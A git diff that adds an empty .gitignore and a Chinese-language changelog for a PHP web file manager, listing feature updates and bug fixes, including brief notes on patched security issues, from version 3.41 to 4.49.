diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e69de29
diff --git a/ChangeLog.md b/ChangeLog.md
new file mode 100644
index 0000000..f14f5d9
--- /dev/null
+++ b/ChangeLog.md
@@ -0,0 +1,1645 @@
+### ver4.49 `2022/8/25`
+- 兼容性调整
+- 安全问题修复.
+
+### ver4.48 `2022/2/16`
+- 兼容php8.1
+
+### ver4.46 `2021/7/13`
+- 修复部分安全问题: 文件名,markdown的xxs,svg的xxs,ssrf; zip压缩包内文件名;文件名分享;文件预览API
+
+### ver4.45 `2021/04/07`
+- 更新检测文件多种引入方式;
+- php7.4,php8兼容
+- x-senffile 下载加速支持
+- 对话框打开url; https协议不同时新窗口打开;
+- 上传合并优化加速处理;
+- 解压安全优化;
+
+### ver4.40 `2019/3/21`
+-----
+#### update:
+- 文件列表中文排序优化;中文、数字等组合按自然排序进行排列;
+- 水印插件优化:分享文档水印显示分享者信息
+- 自定义桌面目录,可以指定桌面文件夹名称
+- 离线下载,http header兼容不标准的头处理。中文文件名自动识别优化。
+- 控制器自动路由,Hook加入重定向文件;方便插件整体替换某个控制器文件;
+
+#### fix bug
+- 禁用预览权限,部分预览插件依然能预览问题处理;优化无权限时前端提示
+- 在部门中没有列目录权限时,打开首页报错优化处理【不显示内容,点击切换该目录时提示权限】
+- 用户管理部门文档权限时:不允许内部拖拽到外部;
+- 分享文件夹,部分类型文件打开预览是报错处理
+
+
+### ver4.39 `2019/3/1`
+-----
+#### update:
+- 桌面打开文件夹对话框,不同窗口文件相互剪切粘贴,自动同步窗口文件列表状态。
+- 解压到选择文件夹时;自动判断当前文件夹是否可写入;不可写则不可选择当前文件夹
+- 验证码固定为4位
+
+#### fix bug
+- 解决APP中文本文件预览问题
+- 桌面压缩文件解压功能异常问题修复;
+- 桌面文件夹中含有#*&字符的文件夹,打开路径错误问题修复;
+
+
+### ver4.38 `2019/2/25`
+-----
+#### update:
+- 排序优化:文件夹列表,中文排序支持按拼音进行排序
+- 针对移动端APP进行兼容适配优化
+- 部门列表过多时,排序效率优化。
+- 新增hook点
+- 其他细节优化
+
+#### fix bug
+- https请求优化兼容
+- cad分享无法预览问题解决
+
+### ver4.37 `2018/11/28`
+-----
+#### update:
+- 大文件上传合并超时处理优化。
+- 右键菜单优化:切换列表模式、图标大小、排序方式不自动隐藏
+- 压缩文件时创建文件已存在则自动重命名
+- markdown工具设置支持多光标;加标签/取消标签
+- 编辑器光标位置记录支持前进后退
+- 移动端图片多选上传加入,去除针对ios 11 以前的兼容;
+- 更新插件插件服务器兼容不支持访问https的情况
+- https页面不允许打开http页面的情况兼容,检测后对话框模式改为新窗口打开模式
+
+#### fix bug
+- zip查看大文件内容;部分文件名位置错位,中文乱码问题解决;(自动识别中文编码优化)
+- bug处理:ltrim trim rtrim //参数是分割值字符,移除左侧所有;而不是移除左侧字符串;
+- kod 永中office预览兼容; php curl上传的一个兼容性问题
+- kod 上传处理兼容( IIS 配置问题 IIS+PHP无法上传)
+- zip解压缩:zip64打包兼容;解压兼容;压缩包内含有大于4G文件时处理优化;
+- 上传失败提示优化;普通版本不检测空间大小
+- 分享文件夹,文件打开预览不了问题处理
+
+
+
+### ver4.36 `2018/09/28`
+-----
+#### update:
+- 上传加入断点续传,断点续传分片指纹提取算法优化,20倍速度提升;失败重传加入延时机制
+- 插件配置:文件选择组件支持配置参数;同文件选择组件参数;插件表单组件formMake增强
+- 断点续传分片重传加入延时;断网等类似情况下15s内自动上传
+- 通用前端worker调用支持
+- 分享的的失效时间是否可以设置到分钟
+- 分享后设置禁止下载,禁用打开方式等相关操作
+- https的curl请求加入ssl版本声明;兼容性调整
+- 移动端上传对话框样式优化
+- 用户使用空间大小变更优化
+- 子目录集成父部们权限优化
+- ios拍照上传失败问题; 图片或视频分片上传后重命名优化处理(用一个文件不同分片采用同一个文件名)
+- ios上传视频多选;(非Safari的其他浏览器不支持多选,0B)
+- 移动端管理菜单二级菜单点击展开异常问题;移动端touch事件穿透问题
+- 移动端文件管理菜部分单点区域击不响应问题处理;
+- 细节样式等优化
+- 解压缩增强优化
+ - zip64解压支持;支持解压超过4G的zip文件
+ - zip文件查看,打开大文件内部列表处理采用worker处理;优化打开压缩文件内含有超多目录情况页面异步处理.优化操作体验
+ - 压缩文件夹,文件夹内文件含有中文问题处理;自适应当前操作系统的中文编码
+ - 压缩文件夹预览,没有写权限也允许查看(个人可查看部门压缩文件内容)
+ - 压缩文件夹解压权限优化(没有写权限的目录,不允许解压到该目录;公共目录下的压缩文件没有写权限不可解压)
+
+#### fix bug
+- windows下中文搜索文件名编码问题处理
+- 文件选择组件,打开时将其他对话框确定按钮置disable处理
+- 上传过程中取消某个上传,没有终止问题处理;
+
+
+
+### ver4.35 `2018/09/5`
+-----
+#### update:
+- 新建文件,不同排序字段及排序方式,新建文件插入位置优化。
+- 子目录集成副部们权限优化
+- 细节样式等优化
+- 兼容老版本(4.0一下)升级
+
+#### fix bug
+- 压缩文件夹预览,没有写权限也允许查看(个人可查看部门压缩文件内容)
+- 压缩文件夹解压权限优化(没有写权限的目录,不允许解压到该目录;公共目录下的压缩文件没有写权限不可解压)
+- 用户使用空间大小变更优化
+
+### ver4.33 `2018/08/28`
+-----
+#### update:
+- 选中内容,支持拖拽到左侧树目录:我的文档,公共网盘,收藏的文件夹,部门文档;
+- 文件夹内内容项太多的情况下速度优化:自适应排序算法,移动端图片懒加载优化;
+- 重命名同名文件大小写检测优化;
+- 移动端分享支持;
+- 样式细节优化;
+- 上传超大文件性能优化处理;
+- Hook调用加入死循环判断检测及提示;
+- 文件夹上传或拖拽文件夹上传,超过1500个文件时提示压缩上传;
+- 插件优化
+ - 移动端分享等页面出现播放器的问题;
+ - 压缩文件打开,展示文件夹尺寸大小;
+ - office编辑保存接口处理;
+
+#### fix bug
+- 带密码分享视频播放问题处理;;
+- 中文搜索问题优化;
+- 新建用户中文编码处理;
+- 文件上传、复制粘贴、剪切粘贴、加压缩等操作使用存储空间大小更新;
+- 选择拖拽松开后,打开其他文件,锁打开的内容对应不一致问题处理;
+- 360等浏览器下载文件夹异常处理;
+- 上传过程中服务器没有响应,客户端报错处理;上传提示优化处理,上传成功误判处理;
+
+
+
+### ver4.32 `2018/07/10`
+-----
+#### update:
+- 修复vi语言多语言问题;
+- 分享对话框加入二维码;分享页面加入二维码;
+- 服务器兼容处理: 子目录绑定的服务器兼容问题处理;兼容前端、后端通用处理;
+- IE兼容问题优化: 预览CAD报错问题处理, 视频播放问题;edge兼容性问题;
+- 部分服务器上传合并失败问题兼容;
+- 其他优化:
+ - adminer登陆状态处理;
+ - loading图片缓存处理,用户管理loading未加载问题
+ - 服务器开启了php缓存时更新文件丢失问题;
+ - 编辑器文件预览出现函数列表异常
+ - 压缩含有逗号的文件报错
+ - 子目录绑定,浏览器打开文件、文件夹路径出错处理;
+ - 代理穿透访问时部分界面乱码问题解决
+ - 音乐播放器,选中多个右键播放时含有已存在播放列表文件时加入列表失败问题.
+
+### ver4.30 `2018/07/05`
+-----
+#### update:
+- 文件管理
+ - 并发读写文件数据异常问题解决
+ - 选中文件,自动出现快捷操作工具栏
+ - icon列表模式,排序方式菜单按钮
+ - 扩展名限制自动处理
+ - 文档排序自然排序数字优化
+ - 文件名结尾为空格时处理:文件操作、列表图标等处理
+ - 正序倒序文件夹都在前面;
+ - 新建文件、文件夹;根据语言自动命名。
+ - 新建office文档直接放在右键中;去除无关扩展名新建 【新建Word/Excle/PowerPoint 文档】
+ - 优化所有文件小图标显示:文件列表、右键菜单、对话框标题、标签栏图标等
+ - 文件、文件夹属性优化:文件大小优化,非管理员隐藏真实权限相关内容
+ - 新建文件和新建文件夹时,不输入文件名称,提示创建文件/文件夹成功,实际上目录下未出现文件夹/文件
+ - 文件搜索样式、筛选逻辑优化
+- 系统及用户管理优化
+ - 壁纸管理优化:登陆背景管理、桌面壁纸管理;
+ - 记住密码优化本地存储;登陆密码传输加密
+ - 用户管理支持批量设置用户空间大小
+ - 用户昵称支持;
+ - 用户新建修改;部门新建修改、部门权限组新建修改、部门新建修改;名称不能为空格
+ - 设置部门优化: 部门只展开第一层级;设置用户部门自动展开到对应层级
+ - 部门编辑,添加自己到子部门排除检测;
+ - 系统管理员角色设置,隐藏设置项
+ - 权限细节优化;部门下载权限,屏蔽相关入口(浏览器打开,zip文件内容下载)
+ - 批量添加用户有重复时,列表自动刷新处理;
+- 上传优化:
+ - 文件分片上传速度优化
+ - 上传对话框关闭继续后台上传,上传完成自动隐藏对话框
+ - 上传是否成功大小校验,空文件上传处理,报错提示及报错相关优化。
+ - 权限前置判断:没有部门上传权限提前判断,空间不足提前判断
+ - 文件夹上传,部分文件上传到文件夹外面的问题;
+ - 文件大小为0时目录不存在则自动处理;
+- 分享优化:
+ - 分享页面等打开方式统一优化处理,移动端打开方式按优先级处理;移动端office打开方式优化处理
+ - 分享页面打印样式优化,针对文本、markdown专门处理
+ - 加密码分享内容内部成员不可见;
+ - 系统设置关闭用户列表则不展示用户分享数据;
+ - 文件夹分享设置可上传,移动端没有上传处理
+ - 分享文件重名时,文件预览打开方式关联失败;分享禁用下载时隐藏下载按钮;分享office支持onlyoffice预览;
+ - 移动端打开需要密码的分享页面,输入密码问题;微信中图片分享优化;
+ - 分享创建优化;加入快速复制分享链接;保存后自动关闭
+- 编辑器优化:
+ - 新增开发相关实用工具:插入时间;繁简转换;base64编解码;URL编解码;文字选中生成二维码;md5等
+ - 新增自由计算功能(实时编译执行)。
+ - 编辑器打开文件,编辑器对话框置顶;
+ - 编辑器着色优化;php格式化太长时优化处理。
+ - 编辑器底部显示文件编码,点击切换、修改编码
+ - 授权版:编辑器帮助中隐藏: 关于,了解更多
+ - php格式化优化;
+ - markdown编辑右侧工具栏菜单展开按钮点击自动显示隐藏;
+ - markdown优化:打印样式处理;标题标签自动加入锚点跳转(分享页面、下载html统一处理)
+ - 编辑器自动保存支持;配置开关
+ - 其他优化:tab新增右键新窗口打开;新打开时不显示帮助,入口可加到工具栏
+- API 功能接口增强
+ - 文件选择API优化:自动筛选符合选择的内容(同时支持双击打开、右键操作);移动端优化;返回值功能增强
+ - 支持通过用户名获取用户信息。
+ - 通用文件预览组件,预览未知文件处理;
+ - hook绑定点加入show_json;
+- 插件增强及优化
+ - 插件更新红点提示,新增一键更新
+ - 插件安装更新链接请求走后端,提升安全性
+ - 插件安装卸载权限加入权限体系
+ - ofd,djvu 文件格式支持在线预览。客户端实时渲染,支持文本选中复制。
+ - 视频播放器新增内置Dplayer;体验优化,支持弹幕、支持自动挂载字幕;
+ - PSD/AI 等文件在线预览;视频缩略图生成;中文路径兼容linux,windows;检测问题提示;可执行文件可以手动指定;
+ - 永中officedoc预览大纲,打印;样式优化;点聚office编辑保存生成历史版本记录
+ - 音乐播放有概率出现.mp3格式的音乐无法播放的情况,一直在缓冲中,重启打开一次后,音乐正常播放
+ - office配置自适应ip、端口处理
+ - 插件重新启用(或升级);配置数据还原的问题
+ - PSD在线预览插件优化;安装部署教程
+ - 域账户插件:支持数据库存储;默认存储
+- 其他优化:
+ - 界面样式诸多细节优化
+ - 回收站文件右键菜单处理;
+ - 右键菜单小图标样式优化;
+ - 宽度不足时不显示文件选中时快捷菜单。
+ - json_encode/json_decode 服务器兼容;
+ - 页面加载、对话框加载loading处理优化
+ - nginx自目录绑定相关url不一致问题兼容;nginx反向代理端口、url等跳转问题兼容
+ - 优化对话框弹出层,iframe全屏调用问题
+ - 对话框中iframe加载持续未完成loading自动隐藏处理
+ - 一键清理Win中文乱码问题,清空位置完善
+ - 移动端菜单中加入剪切功能;
+ - https 优化;
+
+#### fix bug
+- 搜索界面文件类型筛选条件不生效,筛选gif搜索了其他类型文件,文件类型筛选条件未生效
+- 新建部门创建文件夹从配置读取失败问题;
+- 移动端上传取消提示文字优化
+- 编辑器对话框,未保存文件关闭提示;
+- 多选打开文件,进入了打开方式
+- 移动端音乐播放界面最小化后,无法快速的恢复到窗口模式
+- 插件设置多次打开保存配置失败问题解决
+- 搜索文件内容报错问题,程序信息不显示任务栏,文件属性项目加入标记,文字修改:登陆==>登录;
+- DIY主题样式显示问题;
+- 搜索路径为空时优化处理,搜索文件内容json输出时乱码问题解决;
+- 勾选用户所在部门窗口,权限组名长导致换行问题,支持放大缩小。
+- dockeroffice 重启脚本优化
+- 视频、psd等缩略图浏览器缓存处理
+- 浏览器兼容处理:
+ - Edge 浏览器样式优化处理
+ - IE上传下拉菜单——上传文件item被隐藏了
+ - IE上传进度条不匹配百分比问题
+ - IE第二次双击打开视频,出现“没有支持此文件的应用”
+ - ios系统safari登录问题优化
+
+
+
+### ver4.25 `2017/12/01`
+-----
+#### update:
+- 文件通用选择,支持跨域,允许第三方调用
+- 部分服务器获取当前url异常情况兼容处理.
+- tar解压,文件名过长兼容处理(路径大于100字符处理)
+- 图片预览大图处理;生成多级缩略图
+- 权限组开启了文件下载权限,对应开启外链功能
+- ace更新到1.29,支持emoji;emmt扩展加载机制优化
+- 编辑器markdown多光标编辑,支持关联工具栏快捷功能
+- aero效果支持,登录界面优化
+- 其他优化:文件名超出部分...表示;正在上传、远程下载关闭页面提醒
+
+#### fix bug
+- 安全漏洞修复:文件越权读取漏洞紧急修复,iis6配置不当导致安全问题优化
+- 插件自动更新数据同步问题优化
+- 分享文件夹,编辑器打开页面,左侧文件夹展开目录异常问题;(没有上传权限==>不显示上传按钮)
+- token错误:下载时、zip文件解压等; 压缩文件内图片预览不了问题
+- 压缩文件内文本文件预览;zip提示错误问题优化
+- 文件列表;内容含有乱码兼容处理(iconv报错优化)
+- 全文搜索,中文截取导致json解析错误问题
+- 对话框隐藏对应没有tab时的处理
+- 打开方式界面css bug
+- 登陆共享兼容data自定义目录
+- 文件输出缓存 etag优化
+- 其他:分享页面双击重命名屏蔽;markdown工具栏状态自适应;用户分享列表文件大小,navbar菜单新窗口打开问题
+- 移动端优化:
+ - 文件列表,展开操作时页面滚动问题;桌面宽度不足问题
+ - 移动端菜单展开后没有自动收缩
+ - 编辑器优化: 隐藏函数列表
+ - 功能菜单放置在右下角;
+ - 电脑版切换放置在左侧弹出层中;
+ - 重命名文件只选中文件名部分;
+ - 加号菜单优化
+ - iOS设备拍照上传自动重命名文件名
+ - iOS 对话框含有iframe 时滚动条失效问题优化
+ - 桌面开始菜单优化
+
+### ver4.24 `2017/10/10`
+-----
+#### update:
+- url获取服务器兼容性优化(sso部分使用)
+- 部分特殊服务器环境兼容.
+
+#### fix bug
+- 安全漏洞修复:文件越权读取、删除漏洞;getshell漏洞紧急修复
+- 服务器做了端口转发,url获取兼容性问题解决
+- 移动端优化:文件列表,展开操作时页面滚动问题;桌面宽度不足问题
+- 插件自动更新数据同步问题优化
+- 分享文件夹,编辑器打开页面,左侧文件夹展开目录异常问题;(没有上传权限==>不显示上传按钮)
+- 其他优化:错别字更正; 移动端编辑器输入法出不来问题;
+
+
+
+### ver4.22 `2017/9/20`
+-----
+#### update:
+- 压缩文件预览:tab栏中文问题;插件filePath文件名优化记录
+- 上传兼容性优化;支持自定义多线程上传,支持自定义是否二进制上传
+- 其他优化: iframe 点击事件冒泡到上级;编辑器主题黑色样式优化;树目录自动记录以及目录展开状态优化;文件大小逗号分隔;
+- 图片缩略图缓存问题优化
+- 图片exif插件;图片预览时自动修正方向
+- ie8: 样式调整优化,js报错兼容优化
+- 文件夹双击事件优化:系统双击鼠标位置不懂情况下不触发双击事件问题
+- 文件保存插件挂载点
+
+#### fix bug
+- 桌面图片缩略图加载慢问题
+- 解压缩含中文路径优化
+- 移动端
+ - 点击不了问题;右键菜单二级菜单无法点击问题
+ - 移动端字体问题
+
+
+
+### ver4.21 `2017/9/11`
+-----
+#### update:
+- https服务器兼容性调整优化
+- 管理员查看群组;进入真实目录优化
+- 导航子菜单加入,插件支持添加自定义菜单
+- 部分主机session默认为memcache或user类型;兼容数据
+
+#### fix bug
+- 安全及性能优化
+- 编辑器部分国产浏览器中文输入多字符问题
+- 移动端
+ - 去除鼠标提示title
+ - 点击菜单事件优化
+ - 移动端视频文件图标问题
+ - 导航菜单加入
+
+
+### ver4.1 `2017/9/5`
+-----
+#### update:
+- markdown优化:新增绘图支持;加入流程图、时序图、甘特图、类图
+- 优化部分服务器rar解压缩,文件名或路径为中文名时解压没有内容情况
+- php7.1以上中文文件远程上传问题优化;
+- 搜索内容自动填充到搜索对话框问题优化
+- 分享页面样式优化,文本分享移动端排版优化
+
+#### fix bug
+- 编辑器最大化工具菜单失去焦点问题;编辑器最大化后按钮不可点问题优化
+- 支持自定义指定host,避免反向代理导致部分主机请求异常问题
+- 部分https转发的网站,相关插件静态资源引用问题;支持指定网站host
+- 分享文件夹含有密码移动端问题
+- chrome 下载文件名含有逗号下载失败问题
+- 文件api:压缩文件打开问题
+- markdown预览宽度- 分享文件夹指定了别名,文件打开不存在问题自适应
+
+
+
+
+### ver4.06 `2017/8/30`
+-----
+#### update:
+- 新增用户数据自动备份;
+- 部分服务器远程下载不支持,插件中心新增支持手动下载
+- 界面样式优化
+- 上传进度title实时更新
+- 移动端优化:
+ - 登陆页面登录框宽度固定;
+ - 图标宽度:设置;插件中心
+ - 移动端头部菜单
+ - 文件点击打开;菜单单独处理
+
+#### fix bug
+- 部分浏览器编辑器光标位置错位问题优化
+- Safari 编辑器中文输入问题优化
+- data目录被移走;sso登陆session目录不存在问题
+- 编辑器 space_table无法取消
+- session目录删除部分服务器不支持兼容(兼容mac)
+- 非管理员分享文件夹,会出现分享全部文件的问题;文件打开提示不存在
+- 权限中禁用了编辑权限的用户不支持office文件编辑;分享不允许编辑office
+- 拖拽组件(移动端单独处理=》touch 和mousedown冲突)
+
+
+### ver4.05 `2017/8/26`
+-----
+#### update:
+- 4.0稳定优化版
+- 登陆开放接口;优化提供认证登陆给其他程序优化
+- 开启/关闭 图片略缩图功能[]
+- 图片幻灯片播放增强:支持文件列表、压缩文件内、搜索结构、编辑器树目录等同级目录的多张图片打开
+- 压缩文件内的压缩文件支持继续打开
+- 文件打开接口hook,target统一设置
+- 桌面图标大小和文件列表图标大小分开
+- 移动端:
+ - 拖拽兼容触摸事件;宽度调整;对话框拖拽
+ - 弹出菜单,点击其他区域默认隐藏
+ - 打开图片播放处理
+ - 移动端返回:空路径
+ - 底部版本展示优化,登陆页样式优化
+ - title自适应优化
+
+#### fix bug
+- 修复头部导航栏下拉菜单被对话框挡住问题解决
+- photoSwipe 图片播放重复打开,蒙版没有消失问题
+- CAD预览水印显示登录信息;
+- office在线编辑、授权用户的底部信息会丢失等问题修复
+- 桌面默认图标升级丢失问题
+
+
+
+
+### ver4.03 `2017/8/20`
+-----
+#### update:
+- 全面插件化;系统开放性全面打通
+ - 插件化:支持前后端各类开发扩展支持;简单友好强大的插件开发机制和特性
+ - 全新插件中心;提供插件安装卸载;插件更新;插件开启关闭;插件配置;插件搜索等全系列功能
+ - 插件通用配置组件集;很方便插件编写及自由配置;插件多语言自动支持
+ - 插件权限处理——允许谁使用;支持用户、权限组、群组自由组合
+ - 插件挂载点:可以无需修改kod源码从而实现任意功能的添加、修改。有效避免了版本更新导致的原有修改被覆盖。
+ - 插件化后端挂载点
+ - 可以挂载动作到每一个controller和方法入口,实现功能重定向或数据预处理
+ - 模板挂载点
+ - 通用前端js输出挂载点
+ - 前端插件化挂载点
+ - 各类右键菜单支持自由自定义和组合,方便轻易追加新功能
+ - 文件列表加载、刷新、模式切换挂载点
+ - Hook机制监听每个动作并可以做相应的相应
+ - 通用文件选择框对外开放
+ - 其他各个细节
+
+- 默认内置插件
+ - yzOffice: 永中office的在线office预览工具,无需服务器在外网,即可轻松实现office各类文件的预览和查看
+ - zipView: 各类压缩文件打开预览、解压缩工具;压缩文件内的各类文件打开同样支持自定义打开方式;强大到无以复加
+ - adminer:数据库管理工具;类似于phpmyadmin,但比他更轻量;同时不失强大
+ - googleDocs: google开放的office等文件在线预览支持(程序需要部署在外网)
+ - jPlayer: 音乐视频html5播放器
+ - officeLive: 微软提供的office在线文档预览接口;可以在线预览office系列文件(程序需要部署在外网)
+ - photoSwipe: 图片播放工具,非常适用于移动端
+ - picasa: 图片播放工具
+ - 更多插件可以通过插件中心自由安装,也可以自己开发提交到官方应用市场
+
+- 文件打开方式自动关联
+ - 配合插件关联的打开方式;自动关联不同类型文件的打开方式
+ - 右键打开方式自由选择
+ - 设置用户自己默认的打开方式
+ - 没有关联的扩展名可以自己绑定指定应用,管理员可以搜索应用市场进行关联安装
+ - 支持文件打开的插件,管理员可以在插件中心设置插件的优先级;更高的自定义
+ - 文件打开在不同场景的支持
+ - 分享文件夹; 文件预览;[image;media;oexe;word;cad;pdf;epub;html;text;unknow]
+ - 分享文件单页;[image;media;oexe;word;cad;pdf;epub;html;text;unknow]
+ - 压缩文件内预览: [image;media;pdf;oexe;word;cad;html;text;unknow]
+
+- 文件管理
+ - 文件多选勾选框,可以左键多选或取消选择文件
+ - 文件操作菜单入口按钮;右键菜单的快捷入口(树目录、文件列表都支持)
+ - windows下部分文件名特殊字符处理(新建、上传等文件含有特殊字符的集中处理)
+ - 文件列表图标模式间隙自动调整;flex自动均衡排版
+ - 上传优化;支持base64直接构造上传;
+ - ctrl+v粘贴快捷键,检测到系统剪切板里面的图片,自动上传图片到当前位置
+ - 文件管理工具栏,功能和菜单优化:新建和上传加入下拉菜单;
+
+- 编辑器优化
+ - 编辑器加入手动指定以某种编码打开,转换为某种编码
+ - markdown编辑,选择图片时提示权限错误问题修复;管理员获取更简化的url.
+ - markdown工具栏,部分浏览器兼容性调整
+ - 编辑器:内容含有未知字符时,导致光标不正确问题修复
+ - 编辑器底部菜单定位错误问题;
+
+- 移动端优化
+ - 解决android下解压缩iconv转码失败问题;采用mb_string系列函数
+ - 移动端地址栏宽度自适应
+ - 移动端:图片打开title显示;切换目录关闭图片失败问题;大小自动获取
+ - 界面样式优化;图标增强;点击反馈;样式优化
+ - 新增文件九宫格排列方式
+ - 文件预览:[image;media;oexe;word;cad;pdf;epub;html;text;unknow]
+ - 移动端底部版权:登陆页;内容页
+
+- 文件通用预览打开接口
+ - 压缩文件预览支持;[文件下载-->直接保存到文件,避免内存占用];压缩文件内预览文本-标题处理
+ - 文本文件通用预览
+ - 标题title统一为文件名
+ - 插件文件参数统一处理
+ - 指定应用打开
+ - 通用预览插件调用认证;api.view pluginApp.to 权限处理
+ - office文档保存接口- 移动端样式优化;新增图标模式
+
+- 其他优化
+ - 全文搜索不受限于文件编码(自动识别)
+ - 拖拽框选,当框超出可视区,滚动条自动滚动跟随
+ - 图片缩略图失败则加载文件扩展名icon
+ - 多语言统一优化
+ - 对话框控件最大化最小化优化;
+ - 对话框右键菜单处理;统一进行处理;
+ - 修复上传中文文件进度不显示问题
+ - 修复上传https验证问题
+ - 不支持gd;生成二维码调用第三方优化
+ - 对话框最大化后浏览器调整大小
+ - 轻应用分类支持自定义
+ - 样式调整:系统设置用户群组选择;插件设置含有右侧按钮的input框加大;slider滑杆优化
+ - ie8兼容插件 报错问题解决(arttemplate es5兼容性问题)
+ - bmp生成缩略图优化
+
+#### fix bug
+- 移动端打开未知文件,提示下载,access_token错误
+- 编辑器换行采用windows换行模式 \r\n;兼容记事本查看
+- 文件夹移动到自己的目录;导致丢失问题;
+- 分享文件夹允许上传,远程下载时提示错误问题
+- 地址栏粘贴window路径兼容优化 C:\aaa\b 地址,转为/
+- 文件目录/重复时压缩zip丢失文件名解决.
+- 按文件大小排序,部分情况排序错误问题
+- 系统设置:添加安全tab;dialog大小调整
+- 文件保存对话框dialog选择文件错误问题
+- gz文件解压;预览等支持;图标优化
+- 别人的共享:地址栏问题;是否存在展示问题
+- 群组设置成员只读——可以创建副本的bug
+- Edge浏览器下载中文文件名乱码问题;压缩文件含有中文优化处理
+
+
+
+### ver3.46 `2017/4/20`
+-----
+#### update:
+- 图片预览:加入删除按钮;删除快捷键
+- 删除文档对话框样式优化
+- 0kb文件上传问题;【拖拽单文件,文件夹;选择文件,文件夹;】上传取消后上传失败优化
+- 普通用户压缩到tar,gz时路径问题解决
+- 部分服务器反向代理导致不支持csrf防护的,加入设置中手动开关
+- 右键文件夹打开:提示仅支持分享您自己的文档
+- 数据丢失:删除install.lock;重置admin密码;—— 新建用户
+- 分享文件夹预览:图片播放,不支持权限则隐藏对应功能;显示列表模式切换
+- 适配新浪sae虚拟主机.
+
+#### fix bug
+- 文件外链打开下载文件名问题
+- 重命名状态,双击选择优化
+
+
+### ver3.45 `2017/4/9`
+-----
+#### update:
+- 安全防护;全面防护csrf攻击;安全性提升。
+- 高并发下:用户数据文件读写异常处理
+- 上传优化: 文件权限设置644->755;大文件分片上传优化;ie浏览器兼容处理;上传失败自动重传机制加入
+- 文件编辑:换行切换为\r\n;兼容windows记事本;标签右键菜单图标样式问题
+- 工具栏——更多菜单加入:浏览器打开;图标优化;右键菜单二级菜单偶尔失去焦点情况处理
+- 远程下载优化:windows下载失败处理,优化多级301跳转文件下载;下载加入同域名referer; 断点续传优化;下载0Kb优化;不支持curl服务器优化;
+- 对话框icon点击菜单,双击icon关闭
+- 分配了权限组添加用户权限:但提示没有权限。
+- 关闭了下载权限:允许文件预览、pdf、office预览等;屏蔽pdfjs上的下载按钮;
+- 快捷键新增:shift+delete 直接删除;alt+enter查看文件属性;alt+left alt+right 历史记录前进后退;
+- shift + 右键菜单彻底删除;删除提示加入文件名;
+- 编辑器隐藏时;打开文件自动显示到最上层
+- 文件管理:复制快捷键允许冒泡;允许快捷键复制选中的文字
+- 壁纸自动下载文件夹放置在桌面下;桌面支持自定义中文文件夹
+- IE浏览器样式兼容性调整。
+- 文件右键——浏览器打开所有用户开启。
+- markdown预览优化:h1 下划线;预览最大化——禁用左右分栏;加入html转义
+- 服务端强制设置了cookie为httpOnly导致csrf-token获取失败问题兼容性调整;语言切换失败问题
+- 收藏夹树目录:文件夹右键菜单加入文件夹对应功能,不存在则红色显示;可以拖拽文件到收藏夹的文件夹
+- 其他细节优化:样式优化,win7主题播放器样式优化;
+- php7 兼容性优化.部分版本php报错;token error问题
+- 设置加入:
+ - 自定义全局css|全局js[统计代码]
+ - 公共目录展示用户开关配置,默认展示所有用户;
+ - 授权用户:根目录是否组展示子组开关,默认不展示
+ - 其他:清空缓存,清空所有用户回收站;自定义程序logo支持图片
+- 移动端优化:
+ - 上传窗口大小优化;移动端下载功能处理;iphone拍照上传文件自动重命名
+ - 下拉菜单:新建文件加入;失去焦点隐藏;
+ - 分享目录支持上传:手机端功能加入
+ - 分享文件夹搜索问题解决
+ - 左侧目录目录列表和pc端一级目录统一
+ - 分享页面文件打开未知文件,点击下载跳转到登陆页问题
+ - android音视频播放优化,直接打开文件;
+ - android文件下载;文件名去除*filename
+ - 前进后端;后退到最后undefined检测。
+- 在线解压缩全面支持
+ - 支持压缩为zip,tar,gz,tar.gz格式文件
+ - 单选,多选右键菜单自动压缩指定内容
+ - 右键菜单自动关联压缩文件:支持扩展名zip;tar;tar.gz,tgz,rar,7z,apk,ipa
+ - 压缩乱码解决:压缩包内中文跨系统支持自动识别,解压缩自动重命名为当前系统编码
+ - rar解压支持rar5;mac系统解压缩支持作为插件单独存在;
+ - 在线预览
+ - 支持zip,rar,7z,gz,tar,tgz等格式在线预览,在线解压;
+ - 自动编码识别:[gbk,utf-8];zip,tar,gz,tgz,rar,7z...;windows,linux(centos,debain)
+ - 文件列表;树目录,列表展开,中文编码自动识别
+ - 浏览,文档属性查看,预览子文件,下载子文件,解压子文件,解压子文件夹,解压全部
+ - 文件预览在:自己目录;自己分享;分享页面;别人的分享;群组文档;群组共享
+ - 图片、媒体文件、pdf、flash、oexe、html
+ - 大于30m不直接预览,建议解压后预览;zip中含有zip则提示解压
+ - token安全问题考虑:文本文件、office文件
+ - 解压
+ - 解压文件、文件夹到:当前目录,自定义目录;
+ - 文件管理解压后,刷新并自动选择内容;编辑器打开则刷新父目录
+ - 场景和权限:当前目录不可写隐藏『解压到当前』;分享页面隐藏解压功能;
+群组文档权限配置;
+ - 后端权限组安全性优化,简化逻辑流程
+ - 群组角色管理:添加,编辑,修改,删除【隐藏&标签样式】
+ - 设置用户群组角色:管理处label样式展示;下拉选择;多语言
+ - 前端展示:树目录icon read&write区分弱化;地址栏后label展示为label样式;label显示隐藏统一优化
+ - 没有权限优化:新建文件&新建文件夹&重命名文件;
+- 运行异常检测并提示
+ - 解压缩出错处理;不支持检测;shell_exec防注入处理
+ - 函数检测 gzopen,gzinflate;[不支持则不能解压]
+ - js文件缺失报错提示;
+ - 文件夹乱码json输出,json_encode优化;允许未知编码文件输出
+ - 当开启了php cache时更新不生效提示
+ - 解压错误输出时避免输出真实目录
+ - 打包编译优化:去除gzinflate调用;空间支持更广。
+ - 扩展名没有权限的文件解压:不忽略——追加txt扩展名
+ - 优化部分主机防火墙误判问题;(post 字段名不能含有list) net::ERR_CONNECTION_RESET
+ - 检测列目录速度慢问题优化
+ - 授权版降级到免费版部分数丢失问题解决;本地授权写入到lib/core;
+ - 目录没有写权限,session不可写判断并做提示
+ - 剩余空间样式优化:过少则提示
+#### fix bug
+- 部分服务器下载中文文件,文件名乱码问题:
+- cdn静态分离优化:播放器加载html跨站问题
+- 授权丢失:强制输入授权码页面 commonjs 加载变为页面问题
+- 修复safari音视频播放不了问题;下载断点续传逻辑优化
+- 多选右键操作;父子文件夹包含问题误判解决
+- 解压文件权限判断错误:压缩文件目录不可写,解压到某个文件夹可写
+- 手动覆盖更新update更新文件没有删除自己权限问题解决。
+- 多选下载加入防跨站请求token
+- safari 搜索打开图片文件宽高为0问题解决
+- 共享页面打开pdf文件预览优化.
+
+
+### ver3.41 `2017/3/5`
+-----
+#### update:
+- 右键菜单图标优化
+- 移动端打开html直接浏览
+- 远程下载优化,不受限于服务器的超时设置,支持断点续传(需要下载的url支持)
